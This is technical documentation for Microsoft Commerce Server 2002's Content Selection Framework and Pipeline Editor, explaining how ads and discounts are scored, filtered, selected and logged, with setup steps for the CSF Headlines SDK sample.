This section describes some of the ways you can extend the Content Selection Framework (CSF). Because the CSF is built on pipelines, it can be extended in many different ways: scoring, selection, recording, and cache loading.

Scoring

Selection

Recording

Cache Loading

Scoring

You can create pipeline components that score content in different ways. An example of this is the CSF Headlines sample scoring component that takes into account the publish date for a headline and its priority in order to compute a score for the headline. Scoring components can also be more general, such as a scoring component that uses neural network technologies in order to score content based on its likelihood of being clicked or leading to a purchase on your site.

Selection

The SelectWinners pipeline component uses a deterministic selection algorithm when selecting generic content; it selects the content item(s) with the highest scores. You could write a new selection component that instead treats the score of each content item as a probability and uses a random number generator to select from among them.

Recording

Commerce Server 2002 records advertising and other content events to the Internet Information Services (IIS) 5.0 log file and aggregates near real-time counts of these events in the Campaigns database. You could extend this to provide statistical sampling that can be used with a third-party inventory management module. Or, if your business is aligned with a third-party auditing firm, and that firm provides a plug-in pipeline component that provides a different type of event logging, you could extend this by recording advertising events to a database.

Cache Loading

If you want to target dimensions that are not included in the schema of the Campaigns database, you can override the query used by the LoadAdvertisements or LoadDiscounts components and add the new dimensions to the list in the SELECT query. For example, if you run advertisements on multiple Web sites but want to run them all from the same Campaigns database, you could add a dimension for Site. Then each site would use a slightly different query that includes a WHERE Site = 'sitename' clause. Or maybe each ad on your site is associated with a stock ticker, so you add the ticker dimension to the query and then use this to create filters executed by the FilterContent component.


Content Selection Framework Concepts

To optimize your use of Commerce Server 2002, it is important that you understand the underlying concepts on which the Content Selection Framework (CSF) is built.

Scoring

Filtering

Tracing and Debugging

Selecting

Formatting

Recording Events

Scoring

The CSF content selection process is a process of scoring content items and then selecting the "winners" based on those scores. The score for each content item is managed by the ContentList object and is a floating-point number. A content item score of zero means that the content item should not be selected under any circumstances.

There are two stages in a CSF pipeline that manipulate the scores of content items — one to assign an initial score to each item, and one to adjust the score based on targeting criteria. If there is no component in the initial scoring stage, then all content items receive an initial score of 1.0. Score adjustments made in the scoring stage should apply multipliers. A multiplier less than 1.0 can be used to reduce the score of a content item, a multiplier greater than 1.0 can be used to increase the score of a content item, and a multiplier of 0.0 can be used to eliminate a content item from further consideration.

Filtering

Filtering is the process of eliminating content items by using indexes built on the content in the ContentListFactory object. Because a filter uses pre-built indexes, it is considerably more efficient than expression evaluation, but at the expense of reduced flexibility. In the Commerce Server Advertising and Discount pipelines, filters are used on the Page Group and Content Size dimensions, but can be extended to filter on any string, integer, or array column in the ContentList object schema. A filter can require that content items have a particular column value, or it can exclude content items where the column contains particular values. Filters can also use sets of values, so that content items with any one of the values in the set will meet the filter requirements and will be passed through.

Tracing and Debugging

Sometimes it is difficult to know why a particular content item was selected and others were not. To debug or fine-tune a content delivery application, you can enable tracing in the pipeline. You enable tracing by setting the Trace property on the ContentSelector object to true. When tracing is enabled, all modifications to content item scores are tracked. Components that perform scoring should check to see if tracing is enabled, and if it is, then they should pass descriptive strings when calling the SetScore or AdjustScore methods on the ContentList object. The Commerce Server 2002 Software Development Kit (SDK) contains a file called TraceScores.asp that can be used to display the trace strings for each content item, as well as each item's final score. Tracing should be used only for debugging; it should not be used in production. When the Trace flag is on, it severely degrades the performance of the CSF pipelines.

The OrderPipeline object itself provides a rudimentary form of logging so that you can see what values are read and written to or from the Order and Context dictionaries that are passed through the pipeline. To enable this type of debug logging, call the SetLogFile method on the pipeline.

Selecting

After score adjustments have been made, the CSF pipeline has to select the "winners." The SelectWinners component provided with Commerce Server treats advertisements differently than generic content items. For generic content items, it simply picks the item(s) with the highest score. For advertisements, it first decides whether to show a house ad or a paid ad. If a paid ad is selected, it takes the ad with the highest score. If a house ad is selected, it uses the weights of all house ads as probabilities and selects from among them randomly. The SelectWinners component also prevents competing ads from running on the same page and can use a PageHistory string to prevent selecting the same content item multiple times on the same page.

Formatting

The winning content item(s) need to be formatted as strings before they are returned to the page. Formatting brings the properties of the content item and the global- and page-level context properties together and uses them as insertion strings into a provided template. The end result of formatting is a SimpleList object of string values, with each list entry containing the string representing a content item. For information about the formatting process, see FormatTemplate.

Recording Events

Whenever an ad is served or clicked, this event has to be recorded. The Need of Delivery (NOD) algorithm for advertisements uses this event information to compute the score of an ad. The RecordEvent component records these events into an in-memory Dictionary object, called the Performance Dictionary. At the time of the next cache refresh, these events are written to the database by the CSFWriteEvents component. The IISAppendToLog component also records these events to the Internet Information Services (IIS) 5.0 log file for later importing into the Commerce Server Data Warehouse.


Objects and Components of the Content Selection Framework

The objects and components of the Content Selection Framework (CSF) perform all the tasks associated with the scoring, filtering, and selection of targeted content.

CacheManager Object

ContentList and ContentListFactory Objects

ContentSelector Object

Pipelines and Pipeline Components

Expression Evaluator Component

User Object

Targeting Context Profile

Data Warehouse and Analysis Reports

CacheManager Object

The CacheManager object provides simple cache management services. It can periodically invoke Component Object Model (COM) components to fill a cache object, usually a Dictionary component, with information used in the content delivery process. It can also invoke components to write out information collected during the content delivery process, for example, counts of advertising events such as ad requests and ad clicks. For information about how to author these COM components, called Loader and Writer components, see Code to Implement Custom Cache Components.

ContentList and ContentListFactory Objects

The cache loader COM components invoked by the CacheManager object usually create a ContentListFactory object, which contains the entire content set that is available for selection. For each request for content coming in from the ContentSelector object, the ContentListFactory creates a new ContentList object to be used by that single request only. The ContentList object provides methods for scoring and filtering the content in the ContentListFactory object.

ContentSelector Object

The ContentSelector object is the unified interface for selecting all types of dynamic and targeted content displayed on the site. The ContentSelector object provides the means to pass extensible sets of global- and page-level properties to the Content Selection pipelines. It invokes the appropriate pipeline object and returns the resulting content as a SimpleList object of formatted content strings, usually HTML or XML.

Pipelines and Pipeline Components

The core work of content selection occurs in pipelines. Content Selection pipelines are separated into stages such as scoring, selecting, and formatting. You can write custom pipeline components that plug into these stages, either to replace the functionality of an existing Commerce Server 2002 CSF pipeline component or to augment the default behavior.

Scriptor components allow you to prototype a pipeline component in Microsoft Visual Basic Scripting Edition (VBScript) or JScript. Pipelines are also used in the CSF for recording events related to content selection, such as ad requests and ad clicks. For information about the stages in a CSF pipeline and the CSF pipeline components provided with Commerce Server, see Content Selection Pipelines. For information about how to write pipeline components by using the Commerce Server 2002 Software Development Kit (SDK), see Building Pipeline Components.

Expression Evaluator Component

The Expression Evaluator component provides flexibility for targeting content on your site. Expressions are constructed in Commerce Server Business Desk, grouped into target groups, and associated with content items available for selection on the site. At run time the EvalTargetGroups component evaluates the expressions in each target group and adjusts the scores of content items in the ContentList object. You can think of expressions as representing the goals for a content item, for example, if you want an ad to be shown to users whose favorite sport is football, but only to those users who are also over the age of 18.

User Object

To target users on your site, you will need to store information about those users and retrieve that information at run time. The Profiles resource and associated profile objects provide the means to do so. At design time you can manage and extend the properties available in the User object profile definition by using the Profile Definition Designer module available in Business Desk and in the Profiles resource in Commerce Server Manager.

Targeting Context Profile

In addition to targeting users of your site, you might also want to target other information representing the context of a request for content. Examples of this are targeting content to users who are visiting your site from a particular domain, targeting content to specific pages or page groups on your site, and targeting content to pages where specific search keywords are provided.

The ContentSelector object serves the dual role of being the interface to CSF content selection, as well as being a property bag for setting context properties for targeting by expressions or filters. At design time you can manage and extend the properties available in the context profile by using the Profile Definition Designer module available in Business Desk and in Commerce Server Manager.

Data Warehouse and Analysis Reports

The Content Selection Framework enables you to log event data related to content selection into the IIS log files for your site. The log files can then be imported into the Data Warehouse for reporting. You use the Analysis modules in Business Desk to run reports on the user and site data stored in your Data Warehouse, and you use the results of those reports to perform business analytics on the performance of your Web site.


Lifecycle of a Request for a Targeted Advertisement

This topic describes the steps the Content Selection Framework (CSF) follows to retrieve a targeted advertisement for delivery on the site. The discount selection process is identical, except for replacing the AdvertisingNeedOfDelivery component in one pipeline with the ScoreDiscounts component in the other.

A user accesses an ASP Web page

A user clicks an ad

The CacheManager object background thread fires

A user accesses an ASP Web page

  1. The code in the ASP page creates the ContentSelector object (CSO).
  2. The code in the ASP page sets the CSO page context properties.
  3. The code in the ASP page calls the CSO.GetContent method.
  4. The CSO invokes the Advertising pipeline.
  5. The InitCSFPipeline component calls the CacheManager.GetCache method.
  6. The CacheManager object invokes the CSFLoadAdvertisements component (only the first time).
  7. The InitCSFPipeline component copies some page and global context properties into the Pipe Context dictionary.
  8. The InitCSFPipeline component creates filters for the Size and PageGroups properties.
  9. The LoadHistory component loads the user-specific history string.
  10. The FilterContent component applies the filters.
  11. The AdvertisingNeedOfDelivery component assigns each ad an initial score based on the start date and end date of the ad, the duration of the ad run, and how many events have been served to date.
  12. The HistoryPenalty component applies penalties for ads that have already been shown to the current user and enforces exposure limits.
  13. The EvalTargetGroups component evaluates target groups and adjusts scores.
  14. The SelectWinners component selects the winning advertisement(s). It prevents industry collision and uses the PageHistory string to avoid showing the same ad multiple times on the same page.
  15. The RecordEvent component records the event to an in-memory performance dictionary.
  16. The IISAppendToLog component records the event to the IIS log file.
  17. The RecordHistory component records the event to the user-specific history string.
  18. The SaveHistory component saves the user-specific history string.
  19. The FormatTemplate component formats the selected advertisements using a template that brings together ad properties, page context, and global context and puts the resulting strings into a SimpleList object.
  20. The CSO returns a SimpleList object of formatted advertisements.
  21. The content is rendered onto the ASP page.

A user clicks an ad

  1. The Redir.asp page is called.
  2. The Redir.asp page invokes the RecordEvent component.
  3. The RecordEvent and IISAppendToLog components are called.
  4. The content is rendered onto the ASP page.

The CacheManager object background thread fires

  1. The CSFWriteEvents component flushes events in the in-memory performance dictionary to the database.
  2. The CSFLoadAdvertisements component loads new advertising information, including the updated aggregate event counts used for the Need Of Delivery (NOD) calculation.

See Also

Example Code for ContentSelector Object


Performance and Scalability of the Content Selection Framework

This topic presents tips for how to ensure that your custom extensions to the Content Selection Framework (CSF) maintain maximum performance.

Make pipeline components free-threaded and marked as poolable

While it is possible to create CSF pipeline components by using Microsoft Visual Basic 6.0, it is not recommended. Visual Basic components are always apartment-threaded and therefore the pipeline has to create a new instance of your component for each content request. For maximum performance, implement your pipeline components in Microsoft Visual C++ by using the Active Template Library (ATL). Make the components both-threaded and be sure to indicate to the pipeline that it can pool the components by adding the Component Object Model (COM) category, CATID_POOLABLE, to the registration information of your component.

Avoid database access on a per-request basis

For performance reasons, the CSF was designed to avoid database or disk access on each content request. Instead, it caches all of the content into in-memory ContentListFactory and Dictionary objects. It queues up campaign item event data and writes it out during the next cache refresh. When writing your own extensions to the CSF, try to retain this design point, if possible.

Too much content to fit in a single in-memory cache

If the amount of content being served by the CSF grows too large, it might not be possible to store all of the content in a single ContentListFactory object. For example, if there are more than 1,000 content items being considered, they should be segmented into multiple content caches. Find a dimension to segment on, such as page group or site name.

Alternatively, in the Load Context stage of your CSF pipeline, you can make a query against a content store, such as a Microsoft SQL Server 2000 database. Use the results of the query to build a ContentListFactory object unique to the request that contains a small subset of the content. If you use this method, build filtering in as part of your query to avoid building a new index on each ContentListFactory object that is created.

Prefer filtering to expression evaluation

When you have a dimension that is commonly used for targeting on your site, consider using a filter instead of expressions to target that dimension. Because filters use pre-built indexes on the ContentListFactory object, they are more efficient than expressions. However, filters generally require a site developer to set them up, whereas a business manager can create and manage expressions.

The "funnel effect"

Try to arrange your filtering and scoring operations in order of increasing performance cost. Filtering should be first (hence its order in the CSF pipeline), followed by rudimentary scoring, such as application of exposure limits. The last step should generally be expression evaluation because it is usually the most costly operation. Your goal should be to eliminate as much content as possible, as early as possible. For example, if your site uses multiple ad banner sizes, any given user request is usually for only one of those sizes, so a filter is used to quickly eliminate all ads with a size that does not match the requested size. You should look for other opportunities to apply such filtering.


Creating the CSF Headlines Sample

The Commerce Server 2002 Software Development Kit (SDK) includes a sample called CSF Headlines that contains components that you can use for displaying targeted news headlines on a site. It includes a scoring pipeline component and a custom cache loader component for loading the headlines and for creating a ContentListFactory object.

This section contains:

  • Step 1: Installing the CSF Headlines Sample
  • Step 2: Preparing SQL Server for the CSF Headlines Sample
  • Step 3: Preparing the CSF Components for the CSF Headlines Sample
  • Step 4: Running the CSF Headlines Sample


Step 1: Installing the CSF Headlines Sample

To install the CSF Headlines sample, perform the following procedures.

To install the CSF Headlines sample

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Site Packager.
  2. In the Commerce Server Site Packager screen, select Unpack from a package file [.pup], and then click Next.
  3. In the Unpack dialog box, click Browse.
  4. In the Open dialog box, navigate to <drive:>/Program Files/Microsoft Commerce Server/PuP Packages, select Blank.pup, and then click Open.
  5. When you are returned to the Unpack dialog box, select Custom Unpack, and then click Next.
  6. In the Unpack Method dialog box, click Create a new site, and then click Next.
  7. In the Site Name screen, type CSFHeadlines in the Site name box, and then click Next.
  8. In the Select Resources screen, accept the default setting, which unpacks all the resources in the Resources to unpack box, and then click Next.
  9. In the Global Resource Pointers screen, accept the default settings, and click Next.
  10. In the Database Connection Strings screen, accept the default settings, and click Next.
  11. In the Commerce Server Site Packager dialog box, do the following:
    Use this | To do this
    SQL user name | Type your SQL Server user name.
    SQL password | Type your SQL Server user password.
  12. Click OK.
  13. In the Select Applications screen, accept the default settings, and then click Next.
  14. In the Select IIS Web Sites and Virtual Directories screen, in the IIS virtual directory box, which currently holds the value blanksite, type CSFHeadlines.
  15. In the Application box, select BlankBizDesk, and in the IIS virtual directory box that currently holds the value blankbizdesk, type CSFHeadlinesBizDesk, and then click OK.
  16. Accept the default settings for the following dialog boxes, and click Next until you reach the Unpackaging is complete! dialog box.
  17. To close the Commerce Server Site Packager screen, click Finish.

To Update the ASP scripts and the pipeline directory

  1. Click Start, point to Programs, point to Accessories, and then click Windows Explorer.
  2. Copy the files GLOBAL.ASA, DEFAULT.ASP, DUMPCONTENTLIST.ASP, and TESTHEADLINESLOADER.ASP from <drive:>\Program Files\Microsoft Commerce Server\SDK\Samples\Marketing\Headlines\Web to <drive:>\Inetpub\wwwroot\CSFHeadlines.
  3. In the Confirm File Replace dialog box, click Yes to All.
  4. Copy the pipeline directory and the files within it from <drive:>\Program Files\Microsoft Commerce Server\SDK\Samples\Marketing\Headlines\SQL\Web to <drive:>\Inetpub\wwwroot\CSFHeadlines.

For more information about unpacking a site, see Unpacking a Site. The file to unpack, Blank.pup, is located in the <drive:>\Program Files\Microsoft Commerce Server\PuP Packages directory.


Step 2: Preparing SQL Server for the CSF Headlines Sample

To prepare Microsoft SQL Server for the CSF Headlines sample, perform the following procedure. The CSF Headlines sample must be installed before continuing.

To prepare SQL Server for the CSF Headlines sample

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click Query Analyzer.
  2. In the Connect to SQL Server dialog box, do the following:
    Use this | To do this
    SQL Server | Type the name of the SQL Server computer.
    Connect using | Select SQL Server authentication.
    Login Name | Type your SQL Server login name.
    Password | Type your SQL Server password.
  3. Click OK.
  4. In the SQL Query Analyzer screen, on the Query menu, click Change Database.
  5. In the Select Database dialog box, select CSFHeadlines_commerce, and then click OK.
  6. On the File menu, click Open.
  7. In the Open Query File dialog box, navigate to <drive:>\Program Files\Microsoft Commerce Server\SDK\Samples\Marketing\Headlines\SQL, select headlines_config.sql, and then click Open.
  8. On the Query menu, click Execute.
  9. On the File menu, click Open.
  10. In the Open Query File dialog box, navigate to <drive:>\Program Files\Microsoft Commerce Server\SDK\Samples\Marketing\Headlines\SQL, select sample_headlines.sql, and then click Open.
  11. On the Query menu, click Execute.
  12. On the File menu, click Exit.

See Also

Step 1: Installing the CSF Headlines Sample


Step 3: Preparing the CSF Components for the CSF Headlines Sample

To prepare the Content Selection Framework (CSF) components for the CSF Headlines sample, perform the following appropriate procedure for the programming environment. The CSF Headlines sample must be installed and SQL Server must be prepared before performing these procedures.

To prepare the CSF components for the CSF Headlines sample in Visual C++

  1. Click Start, point to Programs, point to Microsoft Visual Studio 6.0, and then click Microsoft Visual C++.
  2. On the File menu, click Open.
  3. In the Open dialog box, navigate to <drive:>\Program Files\Microsoft Commerce Server\SDK\Samples\Marketing\Headlines\Components\Scoring, select CSFScoreHeadlines.dsw, and then click Open.
  4. In the CSFScoreHeadlines - Microsoft Visual C++ screen, on the Build menu, click Build.
  5. After the project has been built, on the File menu, click Save Workspace.
  6. On the File menu, click Exit.

To prepare the CSF components for the CSF Headlines sample in Visual Basic

  1. Click Start, point to Programs, point to Microsoft Visual Studio 6.0, and then click Microsoft Visual Basic 6.0.
  2. In the New Project screen, on the Existing tab, navigate to <drive:>\Program Files\Microsoft Commerce Server\SDK\Samples\Marketing\Headlines\Components\CacheLoader, select HeadlineLoader.vbp, and then click Open.
  3. Build the project.
  4. After the project has been built, on the File menu, click Save Project.
  5. On the File menu, click Exit.

See Also

Step 1: Installing the CSF Headlines Sample

Step 2: Preparing SQL Server for the CSF Headlines Sample


Step 4: Running the CSF Headlines Sample

To run the CSF Headlines sample, complete the following procedure. The CSF Headlines sample must be installed, and both SQL Server and the Content Selection Framework (CSF) components must be prepared before performing this procedure.

To run the CSF Headlines sample

  1. Click Start, point to Programs, and then click Internet Explorer.
  2. In the Address box, type http://<server name>/csfheadlines/default.asp, and then press ENTER.

The CSF Headlines Web page appears.

The targeted headlines appear on the page, as well as debugging and tracing information about the data processed in the pipeline and the data stored in the cache. Click the Refresh button on your browser to see the changing headlines.

You can try changing the headline dates and priorities in the headline table in Microsoft SQL Server and watch the effect on the headline scores. While no Commerce Server Business Desk module is provided for managing headlines, you can create advertisements and then convert them to headlines by adding corresponding records to the Headline table and changing the Guid_campitem_type column in the Campaign_item table to match the globally unique identifier (GUID) for headline type content (retrieve this GUID from the Campitem_types table).

See Also

Step 1: Installing the CSF Headlines Sample

Step 2: Preparing SQL Server for the CSF Headlines Sample

Step 3: Preparing the CSF Components for the CSF Headlines Sample


Content Selection Framework Component Reference

The Content Selection Framework (CSF) contains many object-specific components. This section contains a list of CSF pipeline and CacheManager object components and links to them in the Programmer's Reference.

This section contains:

  • CacheManager Components
  • Content Selection Framework Pipeline Components
  • Framework Components


CacheManager Components

The following components are the Content Selection Framework (CSF) components used by the CacheManager object for loading caches and writing out campaign results:

  • CSFLoadAdvertisements
  • CSFLoadDiscounts
  • CSFWriteEvents


Content Selection Framework Pipeline Components

The Content Selection pipeline and the Event Processing pipeline use the Content Selection Framework (CSF) pipeline components for determining targeted content and processing navigational user events. The following table lists the components and their recommended pipeline(s) and stage.

Component | Pipeline | Stage
AdvertisingNeedOfDelivery | Content Selection | Initial Score
EvalTargetGroups | Content Selection | Scoring
FilterContent | Content Selection | Filter
FormatTemplate | Content Selection | Format
HistoryPenalty | Content Selection | Scoring
IISAppendToLog | Content Selection and Event Processing | Record
InitCSFPipeline | Content Selection | Load Context
LoadHistory | Content Selection | Load Context
RecordEvent | Content Selection and Event Processing | Record
RecordHistory | Content Selection | Record
SaveHistory | Content Selection | Record
ScoreDiscounts | Content Selection | Scoring
SelectWinners | Content Selection | Select


Framework Components

The components listed in the following table are not pipeline components, although they can be created or used by pipeline components.

Component | C++ link | Visual Basic link
CacheManager | C++ | Visual Basic
ContentList | C++ | Visual Basic
ContentListFactory | C++ | Visual Basic
ContentSelector | C++ | Visual Basic
ExpressionEval | C++ | Visual Basic


Working with Pipelines

A Commerce Server 2002 pipeline is a software infrastructure that links one or more components and runs them in sequence. Microsoft Commerce Server 2002 uses this infrastructure to implement three pipeline models: the Order Processing pipeline (OPP), the Direct Mailer pipeline, and the Content Selection pipeline.

This section contains:

  • Pipeline Basics. Describes the basic features of Commerce Server 2002 pipelines.
  • Pipeline Editor. Explains how to use the Pipeline Editor to create pipelines from templates, modify existing pipelines by changing properties, and create custom pipelines.
  • Order Processing Pipelines. Describes the various types of Commerce Server 2002 Order Processing pipelines and enhancements to those pipelines, and provides a reference to the stages and components in Order Processing pipelines.
  • Direct Mailer Pipeline. Describes the stages and components used in the Direct Mailer pipeline.
  • Content Selection Pipelines. Describes the stages and components in the Content Selection pipeline that are used for selecting ads, determining discounts, and adding personalization to pages.
  • Pooled Pipelines. Explains how to use pooled pipelines.
  • Building Pipeline Components. Explains how to build new pipeline components in both C++ and Microsoft Visual Basic.

See Also

Pipeline Framework Objects

Types of Pipelines


Pipeline Basics

A pipeline is a software infrastructure that defines and links one or more stages of a business process, running them in sequence to complete a specific task. Pipelines divide processing into stages, which are abstractions that describe a category of work. They also determine the sequence in which each category of work is performed.

Each stage of a pipeline contains one or more pipeline components (COM objects) that can be configured to work with the unique requirements of the site. For example, a typical Order Processing pipeline may include a Shopper Information stage, a Payment stage, and a Shipping stage.

Pipeline configuration files (.pcf) define pipelines. The pipeline specified by the file is created and run by a pipeline object. Commerce Server 2002 provides five objects to run pipelines: MtsPipeline, MtsTxPipeline, PooledPipeline, PooledTxPipeline, and OrderPipeline. The MtsPipeline and PooledPipeline objects do not support transactions. The MtsTxPipeline and PooledTxPipeline objects do support transactions.

Note

  • In Commerce Server 2002, pipelines are often run indirectly through the RunPipe method of the OrderGroup object. The RunPipe method creates one of the five pipeline objects and uses it to run the pipeline.

Pipeline configuration files (.pcf files) are usually marked in one of following three ways:

  • Any pipeline. May be loaded into any pipeline.
  • Requires transacted pipeline. Must be loaded into an MtsTxPipeline or PooledTxPipeline pipeline.
  • Requires a non-transacted pipeline. Must be loaded into an MtsPipeline, PooledPipeline, or OrderPipeline pipeline.

The pooled pipelines take advantage of COM+ object pooling to speed up pipeline loading and execution. For more information, see Pooled Pipelines.

Designing Pipelines for Your Site

As the designer of the pipelines for your site, you must take measures to ensure that the pipelines function correctly. First, you should ensure that no pipeline component is configured to overwrite the work done by another component.

Second, you should define the circumstances under which the pipeline is to stop processing. As each component in the pipeline runs, it returns a status that indicates success, a warning, or failure. If you configure a stage to tolerate warnings, the pipeline continues to operate despite a warning generated by a component in that stage. If you configure a stage to tolerate only success, and a component in that stage returns a warning, the pipeline stops processing, and returns an error.


Pipeline Editor

The Pipeline Editor is an application used for creating and editing Commerce Server pipelines. You can use it to edit a pipeline on your local computer or on a computer connected to a local area network (LAN).

Pipelines are described in pipeline configuration (.pcf) files. You create and configure .pcf files with the Pipeline Editor.

The Pipeline Editor displays a pipeline as a pipe, showing the stages of the pipeline as pipe segments. The components used in a stage appear as valves.

The Pipeline Editor with labels indicating the stages and components of a pipeline.

Certain components have an affinity with certain stages. This means that the component was designed for use within that stage. Commerce Server does not enforce this stage and component association. You may include any component in any stage.

Note

  • If you use the Pipeline Editor to display the components having an affinity with a given stage, you will see the Money Converter and Scriptor components. These components have an affinity with all stages.

This section contains:

  • Starting the Pipeline Editor. Describes how to start the Pipeline Editor and load an existing pipeline configuration file.
  • Creating a New Pipeline. Describes how to use the pipeline configuration templates (.pct) to create a new pipeline.
  • Adding a Component to a Pipeline. Describes how to add a component to a stage of a pipeline configuration.
  • Changing the Order of Components in a Pipeline Stage. Describes how to move components up or down within a pipeline stage.
  • Creating a List of Values Read and Written by a Pipeline. Describes how to create a list of values the pipeline reads from and writes to the various dictionaries.
  • Using the Pipeline Editor Property Pages. Describes how to modify the properties — such as names and currency settings — of the various elements of a pipeline.
  • Creating a Custom Pipeline. Describes the process of creating a pipeline that does not use one of the standard templates.


Starting the Pipeline Editor

The following procedure describes how to start the Pipeline Editor.

To start the Pipeline Editor

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Pipeline Editor.
  2. On the File menu, click Open.
  3. Select the .pcf file for the pipeline you want to edit, and then click Open.

The Pipeline Editor opens and displays the .pcf file you selected to edit.

See Also

Creating a New Pipeline

Creating a Custom Pipeline


Creating a New Pipeline

Commerce Server 2002 provides the following standard templates on which you can base a new pipeline. The template files for creating new pipelines have the .pct file extension (pipeline configuration template). When you save the new template, it is saved with the standard pipeline configuration file (.pcf) extension.

Template name | Description
ContentSelection.pct | Seven-stage pipeline used to select content for advertising, promotions, and personalization. Contains the following stages: Load Context, Filter, Initial Score, Scoring, Select, Record, Format.
Empty.pct | Empty pipeline.
EventProcessing.pct | Three-stage event recording pipeline used to track ads, promotions, and sales for schedule updating. Contains the following stages: Load Context, Record, and Format.
Plan.pct | Fourteen-stage Order Processing pipeline (OPP) used to calculate the amount of an order in a retail scenario. Contains the following stages: Product Info, Merchant Information, Shopper Information, Order Initialization, Order Check, Item Price, Item Adjust Price, Order Adjust Price, Order Subtotal, Shipping, Handling, Tax, Order Total, and Inventory.
Product.pct | Five-stage OPP used to check factors affecting the price of a product. Contains the following stages: Product Info, Shopper Information, Item Price, Item Adjust Price, and Inventory.
Purchase.pct | Three-stage OPP. Accepts the final purchase information. Contains the following stages: Purchase Check, Payment, and Accept.
Test.pct | One-stage pipeline. Contains the Test stage.

The template provides a pre-configured pipeline. You can change the names of stages, and delete or add stages.

You can add or delete any component in any stage.

To create a new pipeline

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Pipeline Editor.
  2. On the File menu, click New.
  3. In the Choose a Pipeline Template dialog box, select a template, and then click OK.
  4. Modify the pipeline as necessary.
  5. On the File menu, click Save As, type the name of the file in the File name box, and then click Save.

See Also

Adding a Component to a Pipeline

Changing the Order of Components in a Pipeline Stage

Creating a List of Values Read and Written by a Pipeline

Using the Pipeline Editor Property Pages

Creating a Custom Pipeline


Adding a Component to a Pipeline

Using the Pipeline Editor, you can add a component to any stage in a pipeline. However, the values that a particular component needs must exist in the order form before the component can successfully complete its function.

Note

  • You need to ensure that the components in the preceding stages have written the necessary values to the order form before the stage where you insert a component that needs those values.

To add a component to a pipeline using the Pipeline Editor

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Pipeline Editor.
  2. On the File menu, click Open, and then select the pipeline you want to modify.
  3. Do one of the following:
    • Right-click the name of the stage in which you want to insert the component, and then click Insert Component. The Choose a component dialog box appears.

      Or

    • Right-click the name of an existing component within that stage, point to Insert Component, and then click either Before or After. The Choose a component dialog box appears.
  4. In the Choose a component dialog box, do the following:
    Use this | To do this
    Stages | Select a stage option.
    Components Select a component.

    Note

    • The stage option you choose determines which components are displayed in the Components section. The default value is the name of the stage where you are inserting the component; selecting this option displays only those components that are used in that stage. Selecting All displays all components, regardless of the stage in which they are normally used.
  5. In the Components list, select the name of the component you want to insert, and then click OK.
  6. To configure the new component, right-click the component, and then click Properties.
  7. In the Component Properties dialog box, do the following:
    Use this | To do this
    Label | Type a name for the component.
    Class ID | Type a globally unique identifier for the component.
    Program ID | Type the programmatic identifier for the component.
    Description | Type a description for the component.
  8. Click Apply, and then click OK.
  9. On the File menu, click Save.

The new component is added to your pipeline.

See Also

Changing the Order of Components in a Pipeline Stage

Creating a List of Values Read and Written by a Pipeline

Using the Pipeline Editor Property Pages


Changing the Order of Components in a Pipeline Stage

You can change the order of components within a pipeline stage using the up or down arrow buttons in the Pipeline Editor.

To change the order of a component in the Pipeline Editor

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Pipeline Editor.
  2. On the File menu, click Open, and then select the pipeline that contains the component whose order you want to change.
  3. Right-click the name of the component whose order you want to change, and then click either Move Down or Move Up.
  4. On the File menu, click Save.

Your changes to the pipeline are saved.

See Also

Adding a Component to a Pipeline


Creating a List of Values Read and Written by a Pipeline

Each component in a pipeline reads values from the order form, performs its function, and then writes values to the order form. Components that run later in the pipeline often read values that previous components have written to the order form. When you are modifying a pipeline or creating a new one, it can be helpful to see a list of the values that each component reads and writes so that you can ensure that the necessary values are present at each point in the pipeline.

With the Pipeline Editor, you can create a text file that lists each component of a pipeline in the order in which it is run. The text file lists all of the components run by the pipeline, including the required components. (The required component always runs last in a stage.) For each component, the file lists the following information:

  • Input values (values read)
  • Output values (values written)
  • Context values (values read from the PipeContext Dictionary object, which is passed as a parameter to the Execute method of the pipeline object)

To create a list of all values read and written by a pipeline

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Pipeline Editor.
  2. On the File menu, click Open, and then select the pipeline that contains the values you want to appear on your list.
  3. On the File menu, click Save Values Read & Written.
  4. In the Save as dialog box, specify a location and a file name for the text file, and then click Save.

The Pipeline Editor saves the file and opens it in Microsoft Notepad.

See Also

Adding a Component to a Pipeline

Using the Pipeline Editor Property Pages


Using the Pipeline Editor Property Pages

The Pipeline Editor provides an easy interface for viewing and modifying the properties for pipelines, stages, and components.

You use the following dialog boxes to edit the properties for pipelines, stages, and components.

Element | Dialog Box | Description
Pipeline | Pipe Properties | Pipeline name, the type of pipeline the .pcf file can be used with, currency and LCID settings, and comments.
Stage | Stage Properties | Stage name, description, GUID, mode and error level settings, and comments.
Component | Component Properties, Values Read and Written, Component-specific pages | Component name, Class ID, ProgID, description, values read from and written to the order form, and values read from the Context dictionary object. A component that has configurable properties may have an additional property page whose options are specific to that component.

To view properties in the Pipeline Editor

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Pipeline Editor.
  2. In the Pipeline Editor, right-click the name of the pipeline, stage, or component whose properties you want to view, and then click Properties.

The properties for the pipeline, stage, or component you want to view appear in the Pipeline Editor.

This section contains:

  • Pipeline Properties. Describes how to change properties of the pipeline as a whole, and how to change specific properties in the Pipeline Properties dialog box.
  • Stage Properties. Describes how to change the properties of a stage.
  • Component Properties. Describes how to change the properties of a component.
  • Values Read and Written Properties. Describes how to view the Values Read and Written properties for a component.
  • Creation Error Properties. Describes the error dialog box that appears when a pipeline component cannot be loaded.


Pipeline Properties

You use the Pipeline Properties dialog box to change the name of the pipeline, specify its transaction compatibility, currency mode, or save notes about the pipeline.

The following properties are available in the Pipeline Properties dialog box:

  • Label. Specifies the name that the Pipeline Editor displays for this pipeline. You can change the name by typing a new name.
  • Transaction Compatibility. Specifies what pipeline object this configuration file can be used with. The options are:
    • Any pipeline. Indicates that this configuration file can be used with an OrderPipeline object, with non-transacted pipeline objects (PooledPipeline, MtsPipeline), or with transacted pipeline objects (PooledTxPipeline, MtsTxPipeline).
    • Requires a transacted pipeline (MtsTxPipeline). Indicates that this configuration file can be used only with a transacted pipeline object (PooledTxPipeline, MtsTxPipeline). Transacted pipeline objects are registered with Microsoft Transaction Server (MTS) as transactions required, and hold a transaction that spans all components in the pipeline.
